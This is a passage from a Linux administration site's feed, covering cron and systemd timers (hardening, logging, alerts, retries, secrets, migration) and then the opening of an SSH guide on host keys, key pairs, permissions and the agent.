in <code>ExecStart</code> are not interpreted; call a script, or use <code>/bin/bash -c '...'</code> deliberately.</p>\n\n<h2>Hardening the job</h2>\n<p>Because a service unit is a sandbox definition, you can restrict a scheduled job to what it needs with a few lines. This has no cron counterpart short of running the job in a container. Useful directives include <code>ProtectSystem=strict</code> (read-only filesystem except listed paths), <code>ReadWritePaths=</code>, <code>PrivateTmp=true</code>, <code>NoNewPrivileges=true</code>, <code>ProtectHome=true</code> and <code>MemoryMax=</code> or <code>CPUQuota=</code> for resource caps.</p>\n<pre><code class=\"language-ini\">[Service]\nProtectSystem=strict\nReadWritePaths=/srv/reports /var/log/reports\nProtectHome=true\nPrivateTmp=true\nNoNewPrivileges=true\nMemoryMax=512M\n</code></pre>\n<p>The tool <code>systemd-analyze security backup.service</code> scores a unit's exposure and lists what remains open. Aim to close what the job does not need, not to reach a perfect score. The model of least privilege here is also the theme of <a href=\"/library/shell-script-security\">the shell script security guide</a>.</p>\n\n<h2>Logs with journald</h2>\n<p>Everything the service writes to standard output and standard error goes to the journal, tagged with the unit name, and survives as long as the journal is kept. No redirection is needed in the unit. Read it with <code>journalctl</code>, filter by unit and time, and follow it live.</p>\n<pre><code class=\"language-bash\">journalctl -u backup.service --since today\njournalctl -u backup.service -n 50 --no-pager\njournalctl -u backup.service -f\njournalctl -u backup.service -p err\nsystemctl show backup.service -p ExecMainStatus,Result\n</code></pre>\n<p>The last command prints the exit status and result of the last run, such as <code>Result=exit-code</code>, which is what a monitoring check should read. Journal storage is persistent only if <code>/var/log/journal</code> exists or <code>Storage=persistent</code> is set; on some systems it is volatile and lost at reboot, so confirm before relying on it for post-mortems. The querying options are in <a href=\"https://www.freedesktop.org/software/systemd/man/latest/journalctl.html\">journalctl(1)</a>.</p>\n\n<h2>Failure handling and alerts</h2>\n<p>A failed oneshot service enters the <code>failed</code> state and stays there until it runs again or is reset. Use <code>OnFailure=</code> to start another unit when it fails, such as a notifier service. The notifier can mail, post to a chat webhook or write to a monitoring endpoint, and receives the failed unit's name as an instance parameter.</p>\n<pre><code class=\"language-ini\"># backup.service\n[Unit]\nOnFailure=notify@%n.service\n\n# /etc/systemd/system/notify@.service\n[Unit]\nDescription=Notify about failure of %i\n\n[Service]\nType=oneshot\nExecStart=/usr/local/bin/notify.sh \"%i failed on %H\"\n</code></pre>\n<p>The specifiers <code>%n</code> (the full unit name), <code>%i</code> (the instance) and <code>%H</code> (the hostname) are filled in by systemd. For jobs that can fail without failing the service, such as a script that logs errors but exits 0, a heartbeat is more reliable than failure triggers: have the job ping a monitoring service on success, and alert when the ping stops arriving. That covers the case where the job never ran at all, which no failure hook can see.</p>\n\n<h2>Cron or timer: how to choose</h2>\n<table>\n<thead><tr><th>Need</th><th>Cron</th><th>systemd timer</th></tr></thead>\n<tbody>\n<tr><td>Runs on any Unix, containers, BSD</td><td>Yes</td><td>Only where systemd runs</td></tr>\n<tr><td>Setup effort for one job</td><td>One line</td><td>Two files and an enable</td></tr>\n<tr><td>Logs</td><td>Mail or your redirection</td><td>Journal by default</td></tr>\n<tr><td>Catch-up after downtime</td><td>Needs anacron</td><td><code>Persistent=true</code></td></tr>\n<tr><td>Prevent overlap</td><td>Needs <code>flock</code></td><td>Built in for oneshot services</td></tr>\n<tr><td>Dependencies (network, mounts)</td><td>Not expressible</td><td><code>After=</code>, <code>Requires=</code></td></tr>\n<tr><td>Resource limits and sandboxing</td><td>None</td><td>cgroup and namespace directives</td></tr>\n<tr><td>Randomized spread</td><td>Manual sleep</td><td><code>RandomizedDelaySec=</code></td></tr>\n<tr><td>Run it now to test</td><td>Copy the command</td><td><code>systemctl start job.service</code></td></tr>\n<tr><td>Status query</td><td>Parse logs</td><td><code>systemctl status</code>, <code>list-timers</code></td></tr>\n</tbody>\n</table>\n<p>The decision usually reduces to two questions. Does the job have to run somewhere without systemd, such as a minimal container or macOS? Then cron, or the platform's equivalent. Otherwise, does it matter that it ran and what it said? Then a timer. For a throwaway job on a machine you will never touch again, one crontab line is faster than two unit files, and that is a legitimate choice.</p>\n\n<h2>User timers</h2>\n<p>An unprivileged user can have timers too, in <code>~/.config/systemd/user/</code>, managed with <code>systemctl --user</code>. They run while the user has a session. To make them run without a login, as on a server, enable lingering with <code>loginctl enable-linger username</code>. Without lingering, a user timer stops when the last session ends, which is the usual reason it seems to \"stop working overnight\".</p>\n<pre><code class=\"language-bash\">mkdir -p ~/.config/systemd/user\nsystemctl --user daemon-reload\nsystemctl --user enable --now notes-sync.timer\nloginctl enable-linger \"$USER\"\nsystemctl --user list-timers\njournalctl --user -u notes-sync.service\n</code></pre>\n<p>User units cannot bind to privileged resources and see the user's environment as systemd defines it, not as the login shell does. They are the right home for per-user jobs such as syncing notes or refreshing a cache, since they need no root and no entries in a system directory.</p>\n\n<h2>Time zones and daylight saving</h2>\n<p>Cron uses the system time zone, and so do systemd timers unless a time zone is written into the expression, which systemd supports, for example <code>OnCalendar=*-*-* 09:00:00 Europe/Berlin</code>. Daylight saving changes bite in two ways. When the clock jumps forward, a job scheduled in the skipped hour may not run. When the clock falls back, a job in the repeated hour may run twice. Vixie cron handles small shifts by running jobs that were skipped, and treats fixed-time jobs specially, but behavior varies between implementations.</p>\n<p>The simple defence is to keep servers on UTC, schedule in UTC and convert in the report. Jobs that must follow a local business day, such as an 08:00 email to a Paris office, are the exception, and for them the time zone should be written into the timer so that it is visible in the unit file and survives a change to the machine's own zone. Always avoid scheduling at 02:00 to 03:00 local time in zones that change clocks, since that is the hour most likely to be skipped or doubled.</p>\n\n<h2>Testing a scheduled job</h2>\n<p>Test in layers so that a failure points at one cause. First run the script by hand with a stripped environment, as cron would: <code>env -i HOME=\"$HOME\" PATH=/usr/bin:/bin /usr/local/bin/backup.sh</code>. Second, for a timer, run the service on demand: <code>systemctl start backup.service</code> and read the journal. Third, schedule the job a couple of minutes ahead with the real mechanism and watch it fire. Fourth, break it on purpose: make the script exit non-zero and confirm that the alert arrives.</p>\n<pre><code class=\"language-bash\">env -i HOME=\"$HOME\" PATH=/usr/bin:/bin /usr/local/bin/backup.sh; echo \"exit=$?\"\nsudo systemctl start backup.service\njournalctl -u backup.service -n 20 --no-pager\nsystemd-analyze verify /etc/systemd/system/backup.service /etc/systemd/system/backup.timer\n</code></pre>\n<p><code>systemd-analyze verify</code> checks unit files for syntax errors and missing referenced units without running anything. The stripped-environment run is the single most valuable test, since it reproduces the commonest cron failure, a missing PATH entry, in seconds. The techniques for finding out why a script behaves differently under a scheduler are the subject of <a href=\"/library/debugging-shell-scripts\">the debugging guide</a>.</p>\n\n<h2>Real job: nightly backup with rotation</h2>\n<p>This pairs the backup script from the Bash tutorial with a timer. The service runs as a dedicated user, the timer is persistent, and a failure notifies.</p>\n<pre><code class=\"language-ini\"># /etc/systemd/system/backup.service\n[Unit]\nDescription=Nightly backup of /srv/data\nOnFailure=notify@%n.service\n\n[Service]\nType=oneshot\nUser=backup\nExecStart=/usr/local/bin/backup.sh -k 14 -d /var/backups/data /srv/data\nProtectSystem=strict\nReadWritePaths=/var/backups/data\nPrivateTmp=true\nTimeoutStartSec=2h\nNice=10\n</code></pre>\n<pre><code class=\"language-ini\"># /etc/systemd/system/backup.timer\n[Unit]\nDescription=Nightly backup\n\n[Timer]\nOnCalendar=*-*-* 02:30:00\nPersistent=true\nRandomizedDelaySec=10min\n\n[Install]\nWantedBy=timers.target\n</code></pre>\n<pre><code class=\"language-bash\">sudo systemctl daemon-reload\nsudo systemctl enable --now backup.timer\nsystemctl list-timers backup.timer\n</code></pre>\n<p>The matching cron version is a single line, <code>30 2 * * * backup /usr/local/bin/backup.sh -k 14 -d /var/backups/data /srv/data &gt;&gt; /var/log/backup.log 2&gt;&amp;1</code> in <code>/etc/cron.d/backup</code>, plus a <code>flock</code> wrapper and a logrotate file to match the timer's behavior. The comparison shows where the extra lines of the timer go: they replace the pieces you would otherwise bolt on.</p>\n\n<h2>Real job: a health check every minute</h2>\n<p>Checking a service every minute is a monotonic pattern, and a good example of why <code>OnUnitInactiveSec</code> avoids overlap. The check fails loudly and does nothing otherwise.</p>\n<pre><code class=\"language-bash\">#!/usr/bin/env bash\nset -euo pipefail\nurl=\"${1:?usage: check.sh URL}\"\nif ! curl -fsS --max-time 10 -o /dev/null \"$url\"; then\n  logger -t healthcheck -p user.err \"check failed for $url\"\n  exit 1\nfi\n</code></pre>\n<pre><code class=\"language-ini\"># check.timer\n[Timer]\nOnBootSec=1min\nOnUnitInactiveSec=1min\nAccuracySec=1s\n\n[Install]\nWantedBy=timers.target\n</code></pre>\n<p>If the endpoint hangs for the full ten second timeout, the next check starts a minute after that one ends, not a minute after it started, so a slow target cannot cause a pile of overlapping checks. In cron the same job is <code>* * * * * flock -n /run/lock/check.lock check.sh URL</code>, and the lock is what prevents the pile. Both work; the timer states the intent in the schedule itself.</p>\n\n<h2>Real job: clean old files</h2>\n<p>Housekeeping jobs are the most common cron entries and the most dangerous, because they delete. Make them print what they would do first, run with a narrow scope and log the result.</p>\n<pre><code class=\"language-bash\">#!/usr/bin/env bash\nset -euo pipefail\ndir=/var/cache/app\ndays=\"${1:-30}\"\n[[ -d $dir ]] || { echo \"missing $dir\" &gt;&amp;2; exit 1; }\ncount=$(find \"$dir\" -xdev -type f -mtime +\"$days\" -print -delete | wc -l)\necho \"removed $count files older than $days days from $dir\"\n</code></pre>\n<pre><code class=\"language-text\">removed 128 files older than 30 days from /var/cache/app\n</code></pre>\n<p>The <code>-xdev</code> option keeps <code>find</code> on one filesystem, so a mounted volume under the directory is never touched. Test with <code>-print</code> only before you add <code>-delete</code>, and think about what happens if the variable were empty: the explicit directory check turns that into an error. For temporary files, <code>systemd-tmpfiles</code> with a <code>tmpfiles.d</code> rule is a purpose-built cleaner that needs no script. Consider it before writing your own.</p>\n\n<h2>Common mistakes and their fixes</h2>\n<ul>\n<li><strong>Relying on your interactive environment.</strong> Set PATH, use absolute paths, test with <code>env -i</code>.</li>\n<li><strong>An unescaped percent in a crontab.</strong> <code>date +%F</code> breaks. Escape it or call a script.</li>\n<li><strong>A dot in a file name under <code>/etc/cron.d</code> or <code>cron.daily</code>.</strong> Debian ignores it. Use letters, digits, hyphens and underscores.</li>\n<li><strong>Wiping the crontab with <code>crontab -r</code>.</strong> Keep it in version control.</li>\n<li><strong>Enabling the service instead of the timer.</strong> Enable <code>name.timer</code>, and check it with <code>list-timers</code>.</li>\n<li><strong>Forgetting <code>daemon-reload</code>.</strong> systemd uses the old unit until you reload.</li>\n<li><strong>Putting shell syntax in <code>ExecStart</code>.</strong> There is no shell. Call a script.</li>\n<li><strong>Overlapping runs.</strong> Add <code>flock</code> in cron; use oneshot in systemd.</li>\n<li><strong>User timers that stop at logout.</strong> Run <code>loginctl enable-linger</code>.</li>\n<li><strong>Assuming a silent job is a healthy job.</strong> Add a heartbeat, so that \"never ran\" is also an alert.</li>\n</ul>\n<p>The last mistake is the expensive one. Many of the others produce a visible error once; this one produces nothing for weeks and then a missing backup on the worst day.</p>\n\n<h2>How the cron daemon works</h2>\n<p>Knowing the mechanism explains several odd behaviors. The daemon wakes once a minute, reads the crontabs it has loaded and starts every job whose fields match the current minute. It checks the modification times of the crontab files and reloads them when they change, which is why editing with <code>crontab -e</code> takes effect without a restart but a file replaced in a way that keeps the old timestamp may not. User crontabs live in a spool directory, <code>/var/spool/cron/crontabs</code> on Debian, and should only be edited through the <code>crontab</code> command, which validates syntax and notifies the daemon. Each job is started through the configured shell with a fresh process group, and the daemon does not wait for it; it neither tracks nor limits how many are running, which is why overlap protection is your job. Because the finest resolution is a minute, cron cannot run something every ten seconds, and the folk fix of a loop with <code>sleep</code> inside a once-a-minute job is fragile; use a timer with <code>OnUnitActiveSec=10s</code> or a long-running service instead.</p>\n\n<h2>Who may use cron</h2>\n<p>Access to <code>crontab</code> is controlled by two files. If <code>/etc/cron.allow</code> exists, only users listed in it may have a crontab. Otherwise, if <code>/etc/cron.deny</code> exists, everyone not listed may. If neither exists, behavior depends on the build: on Debian all users may, on some systems only root. Locking down the service accounts that should never schedule anything is a cheap hardening step. Jobs run with the owner's privileges, so a crontab of a compromised web-service account is a persistence mechanism an attacker will use. Audit the schedules on a server the same way you audit authorized SSH keys, with <code>for u in $(cut -d: -f1 /etc/passwd); do crontab -l -u \"$u\" 2&gt;/dev/null; done</code> as root, plus a look at <code>/etc/cron.*</code> and the timers from <code>systemctl list-timers --all</code>.</p>\n\n<h2>One-off jobs with at</h2>\n<p>For work that should run once at a given time, <code>at</code> is simpler than a crontab entry you must remember to delete. It reads commands from standard input and runs them at the time you name, with the environment of the shell that queued it. <code>atq</code> lists the queue and <code>atrm</code> removes a job. <code>batch</code> runs a job when the system load is low. The systemd counterpart is a transient timer, created with <code>systemd-run --on-calendar</code> or <code>--on-active</code>, which also gives you logs.</p>\n<pre><code class=\"language-bash\">echo '/usr/local/bin/reindex.sh' | at 23:30 tomorrow\natq\nsystemd-run --on-active=2h --unit=reindex-once /usr/local/bin/reindex.sh\nsystemctl list-timers reindex-once.timer\n</code></pre>\n<p>A transient unit disappears once it has run and is not recreated at boot, so it suits a one-off but not a recurring task. If the machine reboots before the time arrives, a queued <code>at</code> job still runs because the queue is on disk, while a transient timer is lost.</p>\n\n<h2>React to events instead of the clock</h2>\n<p>Many jobs scheduled \"every minute\" are really waiting for something to happen, such as a file landing in a drop directory. Polling wastes work and adds up to a minute of latency. systemd has path units that watch the filesystem with inotify and start a service when a path changes. They pair with a service in the same way a timer does.</p>\n<pre><code class=\"language-ini\"># /etc/systemd/system/ingest.path\n[Path]\nPathExistsGlob=/srv/drop/*.csv\nMakeDirectory=true\n\n[Install]\nWantedBy=multi-user.target\n</code></pre>\n<p>The matching <code>ingest.service</code> processes and removes the files. If it leaves them in place, the path unit triggers again immediately and the pair loops, so the service must consume what it was triggered by. Systemd also rate limits start requests, which stops a runaway loop from taking the host down but may leave the unit in a failed state to investigate. For events that are not files, such as a device appearing or a network coming up, there are udev rules and network dispatcher hooks; use the clock only for things that are genuinely about time.</p>\n\n<h2>Retries and backoff</h2>\n<p>A scheduled job that fails on a transient error, such as a network blip, will be retried by the next scheduled run, which may be a day away. Decide whether that is acceptable. For a daily report, probably; for a job that other work depends on, add retries. A <code>Type=oneshot</code> service cannot use <code>Restart=on-failure</code> in older systemd versions, though systemd 244 and later allow <code>Restart=on-failure</code> with oneshot, so on current systems you can write the retry policy into the unit. The portable alternative is a retry loop in the script with exponential backoff and an upper bound.</p>\n<pre><code class=\"language-bash\">retry() {\n  local tries=\"$1\" delay=2; shift\n  local n\n  for (( n = 1; n &lt;= tries; n++ )); do\n    \"$@\" &amp;&amp; return 0\n    echo \"attempt $n/$tries failed: $*\" &gt;&amp;2\n    (( n &lt; tries )) &amp;&amp; sleep \"$delay\"\n    delay=$(( delay * 2 ))\n  done\n  return 1\n}\nretry 4 curl -fsS --max-time 20 -o /tmp/feed.xml https://example.org/feed.xml\n</code></pre>\n<p>Bound the total time. Four tries with delays of 2, 4 and 8 seconds is a bounded 14 seconds plus request time, whereas unlimited retries turn a short outage into a job that runs for days and blocks its own next run. Make the job idempotent first, since a retry after a partial success will repeat the part that worked.</p>\n\n<h2>Idempotence and catch-up safety</h2>\n<p>A persistent timer and a retry both mean a job may run late, twice or out of the usual order. Design for that. The job should not assume it is running at 02:30, so a report for \"yesterday\" should compute yesterday from the date and not from the hour. It should be safe to run twice, so writing a result to a temporary name and renaming it into place replaces any earlier output atomically. And it should take its inputs from a named period, passed as an argument or derived from the date, so a manual rerun for a past day is a command-line change rather than an edit.</p>\n<pre><code class=\"language-bash\">#!/usr/bin/env bash\nset -euo pipefail\nday=\"${1:-$(date -d yesterday +%F)}\"\nout=\"/srv/reports/daily-$day.csv\"\ntmp=$(mktemp \"$out.XXXXXX\")\ntrap 'rm -f -- \"$tmp\"' EXIT\n./build-report.sh \"$day\" &gt; \"$tmp\"\nmv -- \"$tmp\" \"$out\"\n</code></pre>\n<p>Rerunning for a specific date, <code>./daily.sh 2026-11-01</code>, rebuilds just that file. The temporary file is created next to the destination so the final <code>mv</code> is a rename on one filesystem, which cannot leave a half-written report visible to a reader.</p>\n\n<h2>Environment files and secrets</h2>\n<p>Scheduled jobs often need credentials. Do not put them in a crontab line, where they show in the process list and in backups of the file, or in a unit file that is world-readable. With systemd, point <code>EnvironmentFile=</code> at a file mode 0600 owned by root, or better use <code>LoadCredential=</code>, which hands the service a secret as a file in a private directory that other users cannot read. With cron, source a protected file from the script and have the script check its permissions.</p>\n<pre><code class=\"language-ini\">[Service]\nLoadCredential=api-token:/etc/secrets/api-token\nExecStart=/usr/local/bin/push.sh\n</code></pre>\n<pre><code class=\"language-bash\">token=$(cat \"${CREDENTIALS_DIRECTORY}/api-token\")\n</code></pre>\n<p>The credentials directory is created per run and removed afterward, and its path comes through the <code>CREDENTIALS_DIRECTORY</code> variable. This feature arrived in systemd 247, so on older distributions fall back to an environment file with tight permissions. The wider discipline of handling secrets in scripts is in <a href=\"/library/shell-script-security\">the shell script security guide</a>.</p>\n\n<h2>Monitoring with a heartbeat</h2>\n<p>Failure hooks tell you that a job failed. They cannot tell you that it never started, because the host was down, the timer was disabled, or someone deleted the crontab. A dead-man's switch covers that: the job pings a monitoring URL when it succeeds, and the monitor raises an alert if the ping does not arrive within the expected window. Many hosted services and self-hosted tools offer this; the client side is a single curl.</p>\n<pre><code class=\"language-bash\">./backup.sh &amp;&amp; curl -fsS --max-time 10 --retry 3 https://hc.example.org/ping/0a1b2c3d &gt; /dev/null\n</code></pre>\n<p>The <code>&amp;&amp;</code> means the ping fires only after a successful run. Give the monitor a grace period slightly longer than the job's normal duration plus its random delay. Check the monitor itself occasionally by disabling a job on purpose and confirming that the alert arrives, because an alarm you have never heard is an alarm you cannot trust. Alongside the heartbeat, record how long the job takes; a backup that used to take ten minutes and now takes two hours is failing in slow motion.</p>\n\n<h2>Move a crontab to timers step by step</h2>\n<p>Migrating is mechanical and is best done one job at a time, with both versions running side by side for a day to compare. For each crontab line, take the five fields and rewrite them as an <code>OnCalendar=</code> value, check it with <code>systemd-analyze calendar</code>, move the command into <code>ExecStart=</code> of a oneshot service, translate any redirections into journal logging, and replace any <code>flock</code> wrapper with the service's own single-instance behavior. Then disable the cron line by commenting it out, not deleting it, until the timer has run successfully twice.</p>\n<table>\n<thead><tr><th>Crontab fields</th><th>OnCalendar</th></tr></thead>\n<tbody>\n<tr><td><code>30 2 * * *</code></td><td><code>*-*-* 02:30:00</code></td></tr>\n<tr><td><code>*/15 * * * *</code></td><td><code>*:0/15</code></td></tr>\n<tr><td><code>0 9 * * 1-5</code></td><td><code>Mon..Fri *-*-* 09:00:00</code></td></tr>\n<tr><td><code>0 4 1 * *</code></td><td><code>*-*-01 04:00:00</code></td></tr>\n<tr><td><code>0 */6 * * *</code></td><td><code>*-*-* 00/6:00:00</code></td></tr>\n<tr><td><code>@weekly</code></td><td><code>Mon *-*-* 00:00:00</code></td></tr>\n</tbody>\n</table>\n<p>Each row in the right column was parsed by <code>systemd-analyze calendar</code> on the test host and printed the normalized form shown. Remember the day-of-month and weekday difference: a cron line that restricted both ran on either, while a timer requires both. If you relied on the OR behavior, write two <code>OnCalendar=</code> lines, since a timer accepts several.</p>\n\n<h2>Managing schedules on many hosts</h2>\n<p>When the same job runs on a fleet, hand-edited crontabs drift. Put the unit files or crontab fragments in version control and install them with whatever you use to configure hosts, so the schedule has an author, a diff and a rollback. Use drop-in directories for per-host overrides, such as <code>/etc/systemd/system/backup.timer.d/override.conf</code>, so the base unit stays identical and only the local difference is stored. Vary the start times with <code>RandomizedDelaySec</code> and not with a hand-picked minute per host, which is easy to forget.</p>\n<pre><code class=\"language-bash\">sudo systemctl edit backup.timer\nsystemctl cat backup.timer\nsystemctl list-timers --all --no-pager | head -20\n</code></pre>\n<p>The <code>systemctl cat</code> output shows the base unit and every drop-in in order, which is the way to see what a host actually runs. Keep a short inventory of what runs where, because the question \"what jobs does this server have?\" has answers in several places: user crontabs, <code>/etc/cron.d</code>, the periodic directories, anacron, system and user timers, and <code>at</code> queues.</p>\n\n<h2>Where this does not apply</h2>\n<p><strong>Containers.</strong> A typical container has no cron daemon and no systemd. Either run the schedule outside, with the orchestrator's scheduler such as a Kubernetes CronJob, or add a dedicated scheduler process, and avoid running cron next to your application as a second process in the same container.</p>\n<p><strong>Distributed jobs.</strong> Cron and timers run on one machine. If the job must run once per cluster, two hosts with the same crontab will both run it. Use leader election, a queue or a managed scheduler.</p>\n<p><strong>Sub-second and event-driven work.</strong> Neither is a real-time system. For file arrival, use inotify or a <code>.path</code> unit. For high-frequency work, run a long-lived process.</p>\n<p><strong>Complex workflows.</strong> When jobs depend on one another's output with retries and backfills, a workflow engine models it better than a pile of timers.</p>\n<p><strong>macOS and non-systemd Linux.</strong> macOS uses <code>launchd</code>, Alpine and Void often use OpenRC or runit with cron. The scheduling concepts here carry over, the syntax does not.</p>\n\n<h2>Where to go next</h2>\n<p>Scheduling pushes you toward scripts that are safe to run unattended: <a href=\"/library/bash-scripting-tutorial\">the Bash scripting tutorial</a> covers locks, traps and exit codes, <a href=\"/library/shell-script-security\">the shell script security guide</a> covers least privilege, and <a href=\"/library/test-shell-scripts-bats-shellcheck\">the testing guide</a> covers proving a script works before the scheduler runs it at 02:30. For connecting out to other machines from a scheduled job, see <a href=\"/library/ssh-guide\">the SSH guide</a>.</p>\n<p>Primary sources used here: <a href=\"https://man7.org/linux/man-pages/man5/crontab.5.html\">crontab(5)</a>, <a href=\"https://man7.org/linux/man-pages/man8/cron.8.html\">cron(8)</a>, <a href=\"https://man7.org/linux/man-pages/man1/flock.1.html\">flock(1)</a>, <a href=\"https://www.freedesktop.org/software/systemd/man/latest/systemd.timer.html\">systemd.timer(5)</a>, <a href=\"https://www.freedesktop.org/software/systemd/man/latest/systemd.time.html\">systemd.time(7)</a>, <a href=\"https://www.freedesktop.org/software/systemd/man/latest/systemd.service.html\">systemd.service(5)</a>, <a href=\"https://www.freedesktop.org/software/systemd/man/latest/systemd.exec.html\">systemd.exec(5)</a>, <a href=\"https://www.freedesktop.org/software/systemd/man/latest/systemd-analyze.html\">systemd-analyze(1)</a>, <a href=\"https://www.freedesktop.org/software/systemd/man/latest/journalctl.html\">journalctl(1)</a> and the <a href=\"https://pubs.opengroup.org/onlinepubs/9699919799/utilities/crontab.html\">POSIX crontab specification</a>.</p>","date_published":"2026-11-06T06:12:19+00:00","tags":["Automation"]},{"id":"https://shellhacks.dev/library/ssh-guide","url":"https://shellhacks.dev/library/ssh-guide","title":"SSH From the Basics to a Hardened and Scripted Setup","summary":"An SSH guide from first login to a hardened, scripted setup: keys, config files, agents, tunnels, jump hosts, sshd hardening, automation and troubleshooting.","content_html":"<p>SSH is the tool that almost every server administrator and developer uses every day, and most people use about a tenth of it. Beyond logging in, it moves files, tunnels ports, reaches machines behind bastions, runs commands across fleets and, configured well, is one of the strongest controls on a server. The examples here assume OpenSSH 9.2p1, the version shipped with Debian 12, and note where newer or older releases differ. Running SSH from scripts, the part that often goes wrong, is covered in depth near the end; the scripts themselves follow <a href=\"/library/bash-scripting-tutorial\">the Bash scripting tutorial</a>.</p>\n<p>The guide covers how SSH establishes trust, creating and using keys, the agent, the client config file, file transfer, port forwarding, jump hosts, hardening the server, certificates and restricted keys, scripting, long-lived sessions, and troubleshooting, with the failure modes for each.</p>\n\n<h2>How an SSH connection works</h2>\n<p>An SSH connection does three things in order. First, the two sides negotiate algorithms and the server proves its identity by presenting a host key, which the client checks against its list of known hosts. Second, they derive session keys by key exchange, so that everything afterwards is encrypted and integrity-protected. Third, the client authenticates the user, most often with a public key: the server sends a challenge that only the holder of the private key can answer. After that, the connection carries one or more channels: an interactive shell, a single command, a file transfer subsystem or a forwarded port. The protocol is specified in <a href=\"https://www.rfc-editor.org/rfc/rfc4251\">RFC 4251</a> and the following RFCs in the 4250 range.</p>\n<p>Two checks protect you and they are different. The host key check protects the client against connecting to an impostor server. The user authentication protects the server against an impostor client. A common mistake is to treat the first one as an annoyance: the prompt about an unknown host fingerprint is the entire defence against a man-in-the-middle on the first connection, and answering yes without comparing the fingerprint gives that defence up.</p>\n\n<h2>Host keys and known_hosts</h2>\n<p>The first time you connect, the client shows the server's host key fingerprint and asks whether to trust it. If you accept, the key is stored in <code>~/.ssh/known_hosts</code>. On every later connection, the client compares the presented key against the stored one, and if they differ it refuses with a loud warning that the host identification has changed. That warning has two causes: the server was reinstalled or its keys were rotated, or someone is intercepting the connection. Do not delete the entry and carry on without finding out which.</p>\n<pre><code class=\"language-bash\">ssh-keyscan -t ed25519 server.example.org 2&gt;/dev/null | ssh-keygen -lf -\nssh-keygen -F server.example.org\nssh-keygen -R server.example.org\n</code></pre>\n<pre><code class=\"language-text\">256 SHA256:Fh3k...q9Z server.example.org (ED25519)\n</code></pre>\n<p>Get the fingerprint over a second channel, such as the cloud provider's console output, and compare it to what the client shows before you accept. <code>ssh-keygen -F</code> finds an entry, and <code>-R</code> removes one after you have confirmed the change is legitimate. Setting <code>HashKnownHosts yes</code>, the Debian default, stores hostnames hashed so a stolen file does not list every machine you have visited, at the cost of readability. Do not set <code>StrictHostKeyChecking no</code> in scripts to avoid the prompt; use <code>StrictHostKeyChecking accept-new</code>, which accepts unknown hosts but still refuses a changed key, or distribute known_hosts in advance.</p>\n\n<h2>Create a key pair</h2>\n<p>A key pair has a private half that never leaves your machine and a public half you install on servers. Ed25519 is the right default: small keys, fast operations and no parameter choices to get wrong. RSA remains supported and needs at least 3072 bits. DSA is gone from current releases and ECDSA is best avoided.</p>\n<pre><code class=\"language-bash\">ssh-keygen -t ed25519 -a 100 -C \"laptop 2026\" -f ~/.ssh/id_ed25519\n</code></pre>\n<pre><code class=\"language-text\">Generating public/private ed25519 key pair.\nEnter passphrase (empty for no passphrase):\nEnter same passphrase again:\nYour identification has been saved in /home/dev/.ssh/id_ed25519\nYour public key has been saved in /home/dev/.ssh/id_ed25519.pub\nThe key fingerprint is:\nSHA256:Qm2...tX0 laptop 2026\n</code></pre>\n<p>Always set a passphrase. It encrypts the private key on disk, so a copied or stolen file is useless without it. The <code>-a 100</code> option raises the number of key derivation rounds, which slows brute-force attempts on the passphrase. The comment after <code>-C</code> is only a label that helps you recognize the key later in <code>authorized_keys</code>. Use a separate key per device and per purpose, so that revoking one lost laptop does not mean replacing every credential you own.</p>\n\n<h2>Install the public key on a server</h2>\n<p><code>ssh-copy-id</code> appends your public key to the server's <code>~/.ssh/authorized_keys</code>, creating the directory and fixing permissions if needed. It needs a working login first, so the first copy uses a password or an existing key.</p>\n<pre><code class=\"language-bash\">ssh-copy-id -i ~/.ssh/id_ed25519.pub deploy@server.example.org\nssh deploy@server.example.org 'hostname; id -un'\n</code></pre>\n<pre><code class=\"language-text\">Number of key(s) added: 1\n\nNow try logging into the machine, with:   \"ssh 'deploy@server.example.org'\"\nand check to make sure that only the key(s) you wanted were added.\n\nserver01\ndeploy\n</code></pre>\n<p>Without <code>ssh-copy-id</code>, the manual equivalent is <code>cat key.pub | ssh user@host 'mkdir -p ~/.ssh &amp;&amp; chmod 700 ~/.ssh &amp;&amp; cat &gt;&gt; ~/.ssh/authorized_keys'</code>. Use <code>&gt;&gt;</code> and not <code>&gt;</code>, or you replace every other authorized key. On a cloud instance, add keys through the provider's mechanism where one exists, as later maintenance can overwrite files written by hand.</p>\n\n<h2>Permissions SSH insists on</h2>\n<p>With <code>StrictModes yes</code>, the default, the server refuses to use an <code>authorized_keys</code> file if the file, the <code>.ssh</code> directory or the home directory is writable by anyone but the owner, since someone else could add a key. The client likewise refuses to use a private key that other users can read. The messages mention \"bad permissions\" or \"UNPROTECTED PRIVATE KEY FILE\". The fix is a short list of commands, and it resolves most \"key login does not work\" reports.</p>\n<pre><code class=\"language-bash\">chmod 755 ~\nchmod 700 ~/.ssh\nchmod 600 ~/.ssh/id_ed25519 ~/.ssh/authorized_keys ~/.ssh/config\nchmod 644 ~/.ssh/id_ed25519.pub ~/.ssh/known_hosts\nls -ld ~ ~/.ssh ~/.ssh/*\n</code></pre>\n<p>On the server, also check ownership: the files must belong to the login user, and the home directory must not be group-writable. SELinux can block reading <code>authorized_keys</code> with the wrong context even when the permissions are right; on Fedora and RHEL, <code>restorecon -R ~/.ssh</code> repairs it. The server's log, covered under troubleshooting, states which check failed.</p>\n\n<h2>The agent</h2>\n<p>Typing a passphrase for every connection gets old, and removing the passphrase is the wrong fix. <code>ssh-agent</code> holds decrypted keys in memory and answers signing requests, so you enter the passphrase once per session. Add a key with <code>ssh-add</code>, list loaded keys with <code>ssh-add -l</code>, and remove them with <code>ssh-add -D</code>. Most desktop systems start an agent at login; on a plain server start one with <code>eval \"$(ssh-agent -s)\"</code>.</p>\n<pre><code class=\"language-bash\">eval \"$(ssh-agent -s)\"\nssh-add ~/.ssh/id_ed25519\nssh-add -l\nssh-add -t 4h ~/.ssh/id_work\n</code></pre>\n<pre><code class=\"language-text\">Agent pid 4412\nIdentity added: /home/dev/.ssh/id_ed25519 (laptop 2026)\n256 SHA256:Qm2...tX0 laptop 2026 (ED25519)\n</code></pre>\n<p>The <code>-t</code> option sets a lifetime after which the key is dropped from the agent. On macOS, <code>UseKeychain yes</code> with <code>AddKeysToAgent yes</code> in the config stores the passphrase in the system keychain. Anyone who can act as you on the machine can use the agent while the keys are loaded, even without knowing the passphrase, so lock the screen and set lifetimes on sensitive keys. Hardware-backed keys (<code>ed25519-sk</code>, created with <code>ssh-keygen -t ed25519-sk</code> and a FIDO2 token) remove the file from the threat model entirely, because the private key cannot leave the device and each use requires a touch.</p>\n\n<h2>The client config file</h2>\n<p><code>~/.ssh/config</code> turns a long command line into a name. Each <code>Host</code> block gives a pattern and the options that apply to matching hosts. The first value found for an option wins, so put specific blocks first and general 